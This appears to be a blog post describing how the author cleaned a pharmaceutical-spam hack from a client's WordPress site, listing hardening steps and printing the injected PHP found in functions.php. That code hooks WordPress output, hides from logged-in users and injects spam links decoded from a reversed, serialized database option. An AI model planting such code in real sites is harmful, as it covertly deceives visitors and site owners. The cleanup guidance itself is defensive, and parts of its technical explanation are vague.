A few months ago a client of mine had their website hacked.  I didn’t want to post right away since I wanted to ensure it doesn’t come back.  The client has taken precautions in the past and eventually after a few weeks, the spam always come back.  I am proud to say that after a period of over 8 months, the site is spam free.

The spam would look like broken code, but you can make out the HTML hyperlinks with links pertaining to pharmaceutical drugs such as Viagra and Cialis.  This document (exported-reversed-hacked-text) is what the spam looks like when you view source.  The code would be broken because the tags (either in JavaScript or HTML) would get broken or either creating an open tag situation due to the process of extracting the code from the database to the website or a character limit in the database field.  The bad guys do this in order to boost their SEO rankings when tons of other sites have links that direct people to their site.  One of the traditional ways to gain search page ranking is determined by how many websites have links going to your site.  The idea behind it is that if a lot of websites are linking to you, you must be popular, thus worthy to be near the top.  In most cases, the most popular sites that you typically see in Google probably have a lot of sites linking to them.

In any case, bad guys use this logic and spam your sites with their links.  This is no good.  Here’s a quick tutorial on how to clean up this mess and to prevent this from occurring.  It seems that once you get hacked once, you keep getting it again unless you clean it up the right way.  I assume the site gets put on their “easily hacked site” list or the hack is coming from a user who’s computer is effected with malware and that every time they login into their website, the hack takes place then.  I suspect this is likely the case since once you login, you do have access to make code changes from within your Dashboard specifically under Appearance > Editor.

The first thing I do is create a duplicate site.  Never work off the main website since things can easily go up in smoke.  I use Backup Buddy to easily create an exact clone of the website and database supporting the website.  Once I do that, I start with the hosting and database.

This would protect your server and database from unauthorized entry regardless of the presence of your WordPress website.  It’s just a precautionary step.

The next steps is to beef up your security within your WordPress website.  This is to tidy up lose security around the WordPress core software and to discover if there’s any other types of Malware on your site.  I recommend the following steps:

  • Upgrade WordPress & Plugins upgrade to the latest and greatest.
  • Delete unnecessary plugins like hello dolly & akismet
  • Scan with Securi Site Checker plugin, then deleted plugin or do a scan here: http://sitecheck.sucuri.net/
  • Scan with Wordfense then delete it.
  • Deleted unnecessary themes. Leave the most “twenty” theme from WordPress for debugging purposes.
  • Install iThemes Security and then turn on the following options.
    -Ban Enable Blacklist Bann
    -404 Entrusion detection
    -Hide set.
    -Enable limit login
    -Header tweak remove.
    -Strong Password Tweaks
    -Other Tweaks
  • SI-Captcha for Login CAPTCHA set to login

That’s it for plugin’s and configuration.  Now its time for some coding changes.  Within WP-Config.php in the root folder of your webserver, you’ll need to change the WordPress salt string.  Replace the existing salt strings with the one you get here:  https://api.wordpress.org/secret-key/1.1/salt/  They are randomly generated.  Refresh the page to get another pair, however you only need one.

This Phama spam is a little clever in how they did it.  I wasn’t able to find the source of the hack by scanning my website files for the spam.  At first I suspected that they were hardcoded somewhere either in functions.php or in any of the theme files.  But later discovered it was coming straight from the database.  I then try to scan for certain keywords in the database tables but did not find it either.  What I discovered was that the spam is stored in the database in reverse order and serialized.  Pretty clever I think.  How this works is that if you look at functions.php you’ll notice a few things.  Most likely the modified date on the file is probably more recent then some of your other theme files (if you haven’t made any coding changes recently).  You’ll also notice a few lines of code like the following:

if (!function_exists("b_call")) {
function b_call() {
if (!ob_get_level()) ob_start("b_goes");
}


function b_goes($p) {
if (!defined('wp_m1')) {
if (isset($_COOKIE['wordpress_test_cookie']) || isset($_COOKIE['wp-settings-1']) || isset($_COOKIE['wp-settings-time-1']) || (function_exists('is_user_logged_in') && is_user_logged_in()) || (!$m = get_option('_titleimage1'))) {
return $p;
}


list($m, $n) = @unserialize(trim(strrev($m)));
define('wp_m1', $m);
define('wp_n1', $n);
}


if (!stripos($p, wp_n1)) $p = preg_replace("~<body[^>]*>~i", "$0n".wp_n1, $p, 1);
if (!stripos($p, wp_m1)) $p = preg_replace("~~", wp_m1."n", $p, 1);
if (!stripos($p, wp_n1)) $p = preg_replace("~~", "n".wp_n1, $p, 1);
if (!stripos($p, wp_m1)) $p = preg_replace("~~", wp_m1."n", $p, 1);
return $p;
}


function b_end() {
@ob_end_flush();
}


if (ob_get_level()) ob_end_clean();
add_action("init", "b_call");
add_action("wp_head", "b_call");
add_action("get_sidebar", "b_call");
add_action("wp_footer", "b_call");
add_action("shutdown", "b_end");
}

That’s the coding to make the spam work, so all of these lines, you’ll need to delete out of your functions.php.  As you can see,

list($m, $n) = @unserialize(trim(strrev($m)));
define('wp_m1', $m);
define('wp_n1', $n);

That line calls the database with looking for a POST id (not sure if this is the right term) of wp_m1 and wp_n1, then string reverse it (basically un-reversing what is stored in the database), trimming it for extra space, and unserializing it.  You’ll want to note the wp_m1 and wp_n1 since we’ll need to clean those out from the database.  Your POST ids may be different.

At the bottom you can see that this spam gets called almost everywhere within the WordPress loop.  In the initialization, head, sidebar, footer, and the closing of the loop.  Ridiculous.

So now that the code trigger the spam has been deleted from your website.  You’ll need to clean up the spam data source in your database.  You can log into your database via PHP My Admin (assuming you’re using a standard Linux shared hosting plan with a major website provider).  My notes got fuzzy at this point, so I apologize if this last step is not as detailed.  I believe you’ll be looking at the POST or POST META tables.  Query the tables until you find it and note the row ID.  Then do a delete statement on that ID and that will delete the spam data from your database.

Once that’s set.  Backup the site and deploy it to production!